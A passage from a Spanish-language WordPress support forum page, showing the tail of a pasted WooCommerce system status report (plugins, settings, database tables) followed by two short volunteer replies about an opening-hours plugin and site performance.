    wp_wfissues: Datos: 0.03MB + Índice: 0.06MB + Motor InnoDB
    wp_wfknownfilelist: Datos: 5.52MB + Índice: 0.00MB + Motor InnoDB
    wp_wflivetraffichuman: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wflocs: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wflogins: Datos: 0.47MB + Índice: 0.16MB + Motor InnoDB
    wp_wfls_2fa_secrets: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wfls_role_counts: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfls_settings: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfnotifications: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfpendingissues: Datos: 0.02MB + Índice: 0.06MB + Motor InnoDB
    wp_wfreversecache: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfsecurityevents: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfsnipcache: Datos: 0.02MB + Índice: 0.05MB + Motor InnoDB
    wp_wfstatus: Datos: 0.13MB + Índice: 0.11MB + Motor InnoDB
    wp_wftrafficrates: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfwaffailures: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_xcloner_scheduler: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_yith_wcwl: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_yith_wcwl_lists: Datos: 0.02MB + Índice: 0.05MB + Motor InnoDB
    wp_yoast_indexable: Datos: 2.42MB + Índice: 0.84MB + Motor InnoDB
    wp_yoast_indexable_hierarchy: Datos: 0.17MB + Índice: 0.25MB + Motor InnoDB
    wp_yoast_migrations: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_yoast_primary_term: Datos: 0.13MB + Índice: 0.16MB + Motor InnoDB
    wp_yoast_seo_links: Datos: 1.48MB + Índice: 0.45MB + Motor InnoDB
    wp_yoast_seo_meta: Datos: 1.52MB + Índice: 0.00MB + Motor InnoDB Post Type Counts
    
    attachment: 1985
    custom_css: 2
    cwginstocknotifier: 721
    e-landing-page: 2
    ejr-product-tab: 2
    elementor_library: 1
    giftcard: 4
    gift_card: 1
    html5tap: 1
    jetpack_migration: 2
    jp_img_sitemap: 1
    jp_sitemap: 1
    jp_sitemap_master: 1
    jp_vid_sitemap: 1
    ml-slider: 1
    nav_menu_item: 153
    nimble_post_type: 1
    oembed_cache: 101
    page: 40
    post: 217
    postman_sent_mail: 250
    product: 1207
    product_variation: 1146
    revision: 2514
    services: 1
    shop_coupon: 172
    shop_order: 4268
    shop_order_refund: 80
    wapl: 4
    web-story: 1
    yith-wcbm-badge: 1
    zee_accordion: 3
    zee_faq: 6
    zee_portfolio: 8
    zee_pricing: 4
    zee_service: 9
    zee_slider: 3
    zee_tab: 6
    zee_team: 4
    zee_testimonial: 4 Security
    
    Secure connection (HTTPS): ✔
    Hide errors from visitors: ✔ Active Plugins (26)
    
    FiboSearch - AJAX Search for WooCommerce: por Equipo de FiboSearch – 1.27.0
    Asesor de Cookies RGPD: por Carlos Doral Pérez – 0.34
    Back In Stock Notifier for WooCommerce | WooCommerce Waitlist Pro: por codewoogeek – 5.1.0
    Carrito vacío: por Enrique J. Ros – 3.0.0
    Joinchat: por Creame – 5.0.17
    Pestañas de producto personalizadas: por Enrique J. Ros – 3.0.0
    Elementor: por Elementor.com – 3.18.3
    Jetpack: por Automattic – 12.9.3
    Magni Image Flip for WooCommerce: por Magnigenie – 1.2
    No Gutenberg - Desactiva el editor de bloques y los estilos globales - Vuelve al editor clásico: por Fernando Tellado – 1.0.7
    Post SMTP: por Post SMTP – 2.8.11
    Redsys WooCommerce: por Redsys – 3.0.1
    Speed Optimizer: por SiteGround – 7.4.6
    SuperMinify: por Fernando Tellado – 1.0
    Miniatura del producto en el email: por Enrique J. Ros – 3.0.1
    UpdraftPlus - Backup/Restore: por UpdraftPlus.Com
    DavidAnderson – 1.23.16
    
    WC Hide Shipping Methods: por Rynaldo Stoltz – 1.5
    Pay for Payment for WooCommerce: por Karolína Vyskočilová – 2.1.8
    WooCommerce PayPal Payments: por WooCommerce – 2.5.3
    WooCommerce: por Automattic – 8.5.2
    Wordfence Security: por Wordfence – 7.11.1
    Yoast SEO: por Equipo Yoast – 21.7
    Widgets para reseñas de Google: por Trustindex.io – 11.4
    WP Rollback: por WP Rollback – 2.0.6
    Mejoras y optimizaciones WPO: por Fernando Tellado – 1.0.4
    YITH WooCommerce Added to Cart Popup Premium: por YITH – 2.15.0 Inactive Plugins (0) Settings
    
    API Enabled: ✔
    Force SSL: ✔
    Currency: EUR (€)
    Currency Position: right
    Thousand Separator: .
    Decimal Separator: ,
    Number of Decimals: 2
    Taxonomies: Product Types: external (external)
    gift-card (gift-card)
    grouped (grouped)
    pw gift card (pw-gift-card)
    simple (simple)
    variable (variable)
    wgm_gift_card (wgm_gift_card)
    
    Taxonomies: Product Visibility: exclude-from-catalog (exclude-from-catalog)
    exclude-from-search (exclude-from-search)
    featured (featured)
    outofstock (outofstock)
    rated-1 (rated-1)
    rated-2 (rated-2)
    rated-3 (rated-3)
    rated-4 (rated-4)
    rated-5 (rated-5)
    
    Connected to Woo.com: ✔
    Enforce Approved Product Download Directories: –
    HPOS feature screen enabled: –
    HPOS feature enabled: –
    Order datastore: WC_Order_Data_Store_CPT
    HPOS data sync enabled: ✔ WC Pages
    
    Base de la tienda: #2225 - /tienda-ropa-online-mujer/
    Carrito: #2226 - /carrito/
    Finalizar compra: #2227 - /finalizar-compra/
    Mi cuenta: #2228 - /mi-cuenta/
    Términos y condiciones: #2290 - /terminos-condiciones-y-politica-de-privacidad/ Theme
    
    Name: GeneratePress
    Version: 3.4.0
    Author URL: https://tomusborne.com
    Child Theme: ❌ – Si estás modificando WooCommerce en un tema padre que no has creado personalmente
    te recomendamos utilizar un tema hijo. Ver: Cómo crear un tema hijo
    
    WooCommerce Support: ✔ Templates
    
    Overrides: – WooCommerce PayPal Payments
    
    Onboarded: ✔
    Shop country code: ES
    WooCommerce currency supported: ✔
    Advanced Card Processing available in country: ✔
    Pay Later messaging available in country: ✔
    Webhook status: –
    PayPal Vault enabled: –
    ACDC Vault enabled: –
    Logging enabled: –
    Reference Transactions: –
    Used PayPal Checkout plugin: ✔
    Subscriptions Mode: Disabled Admin
    
    Enabled Features: activity-panels
    analytics
    product-block-editor
    coupons
    core-profiler
    customer-effort-score-tracks
    import-products-task
    experimental-fashion-sample-products
    shipping-smart-defaults
    shipping-setting-tour
    homescreen
    marketing
    mobile-app-banner
    navigation
    onboarding
    onboarding-tasks
    product-variation-management
    product-virtual-downloadable
    product-external-affiliate
    product-grouped
    remote-inbox-notifications
    remote-free-extensions
    payment-gateway-suggestions
    shipping-label-banner
    subscriptions
    store-alerts
    transient-notices
    woo-mobile-welcome
    wc-pay-promotion
    wc-pay-welcome-page
    
    Disabled Features: customize-store
    minified-js
    new-product-management-experience
    product-linked
    settings
    async-product-editor-category-field
    
    Daily Cron: ✔ Next scheduled: 2024-02-08 18:40:23 +01:00
    Options: ✔
    Notes: 182
    Onboarding: completed Action Scheduler
    
    Completo: 24.682
    Oldest: 2024-01-08 15:30:51 +0100
    Newest: 2024-02-08 15:28:22 +0100
    
    Fallida: 807
    Oldest: 2021-09-26 09:20:28 +0200
    Newest: 2024-02-07 19:30:27 +0100
    
    Pendiente: 6
    Oldest: 2024-02-08 15:33:22 +0100
    Newest: 2024-02-08 22:34:34 +0100 Status report information
    
    Generated at: 2024-02-08 15:29:30 +01:00
    `

    Hola, @mermos74:

    Podrías buscar en el directorio de plugins de WordPress.org con las palabras clave «opening hours», o similares, y probar las opciones gratuitas para WooCommerce. Sin embargo, el mejor plugin que conozco para esto es de pago: WooCommerce Opening Hours.

    Hola, @rubenmkda:

    Mi recomendación es que le des un vistazo a estos artículos para que intentes optimizar tu web (también puedes buscar otras fuentes en Google):

    Sin embargo, si no logras resultados aceptables al seguir los pasos recomendados en los artículos anteriores, te aconsejaría considerar cambiar de proveedor de alojamiento: Muchas veces la causa del bajo rendimiento puede ser el propio servicio de alojamiento. Aquí tienes una web donde puedes analizar comparativas de los mejores proveedores de alojamiento para WordPress: https://wphostingbenchmarks.com/

Viendo 15 resultados - del 1 al 15 (de un total de 200)